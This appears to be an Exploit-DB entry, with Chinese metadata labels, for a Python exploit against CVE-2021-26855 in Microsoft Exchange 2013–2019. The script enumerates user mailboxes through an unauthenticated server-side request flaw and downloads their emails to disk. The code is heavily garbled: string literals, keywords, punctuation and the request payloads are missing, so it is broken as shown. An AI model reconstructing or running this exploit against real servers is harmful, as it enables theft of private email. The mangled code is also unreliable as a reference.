标题: Microsoft Exchange 2019 - Unauthenticated Email Download EDB-ID: 49879 CVE: 2021-26855 类型: WEBAPPS 平台: WINDOWS 发布日期: 2021-05-18 漏洞利用脚本: # Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download
# Date: 03-11-2021
# Exploit Author: Gonzalo Villegas a.k.a Cl34r
# Vendor Homepage: https://www.microsoft.com/
# Version: OWA Exchange 2013 - 2019
# Tested on: OWA 2016
# CVE : CVE-2021-26855
# Details: checking users mailboxes and automated downloads of emails

import requests
import argparse
import time

 requestspackagesurllib3exceptions  InsecureRequestWarning
requestspackagesurllib3disable_warningsInsecureRequestWarning

__proxies__   
                  



payload_get_folder_id  

payload_get_items_id_folder  


payload_get_mail  


 url
    
    rs  requestsposturl   verify data
       rsheaders
         rsheaders
    
        
        exit


 url uri user fqdn content_folderid path
    headers   fqdn
                
                
     xmletree  ElementTree  ET
    dom  ETfromstringcontent_folderid
     p  domfindall
        id_folder  pattribget
        change_key_folder  pattribget
        data  payload_get_items_id_folderid_folder change_key_folder
        random_uris     
        rs  requestsposturl  uri datadata headersheaders verify
           rstext
            
            t_uri  urisplit
             ru  random_uris
                urireplacet_uri ru
                rs  requestsposturl  urireplacet_uri ru datadata headersheaders verify
                   rstext
                    
                    
        
        dom_messages  ETfromstringrstext
        messages  dom_messagesfind
         m  messages
            id_message  mattribget
            change_key_message  mattribget
            data  payload_get_mailid_message change_key_message
            random_uris     
            rs  requestsposturl  uri datadata headersheaders verify
               rstext
                
                t_uri  urisplit
                 ru  random_uris
                    urireplacet_uri ru
                    rs  requestsposturl  urireplacet_uri ru datadata headersheaders verify
                       rstext
                        
                        

            
                f  path    userreplace replace change_key_messagereplace replace  
                fwriterstext
                fclose
             Exception  e
                 e


 url fqdn
    headers   fqdn
                
                
    arr_uri    
     uri  arr_uri
        rs  requestsposturl  uri verify datapayload_get_folder_id
                           headersheaders
        
         rsstatus_code      rstext
             uri
            calculated_domain  rsheaderssplit
             calculated_domain      
                calculated_domain  calculated_domain    calculated_domain    calculated_domain
            
                calculated_domain  calculated_domain    calculated_domain
             uri calculated_domain
        
    
    exit


 url uri user fqdn path
    headers   fqdn
                
                
    rs  requestsposturl  uri verify datapayload_get_folder_iduser
                       headersheaders
    
    
       rstext    rstext
        user
       rstext    rstext
        user
        extractEmailurl uri user fqdn rstext path
       rstext    rstext
        user


 
    __URL__  
    __FQDN__  
    __mailbox_domain__  
    __path__  
    
    parser  argparseArgumentParserusage
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required
    parseradd_argument   required default
    parseradd_argument   required default
    args  parserparse_args
    __URL__  argsurl
    __FQDN__  argsfqdn
    __mailbox_domain__  argsdomain
    __list_users__  args
    __valid_users__  
    __path__  argspath
      __FQDN__
        __FQDN__  getFQDN__URL__
         __FQDN__

    valid_uri calculated_domain  checkURI__URL__ __FQDN__

      __mailbox_domain__
        __mailbox_domain__  calculated_domain

    list_users  __list_users__ 
     user  list_users
        checkEmailBoxes__URL__ valid_uri userstrip__mailbox_domain__ __FQDN__ __path__

    


 __name__  
    main URL: https://www.exploit-db.com/exploits/49879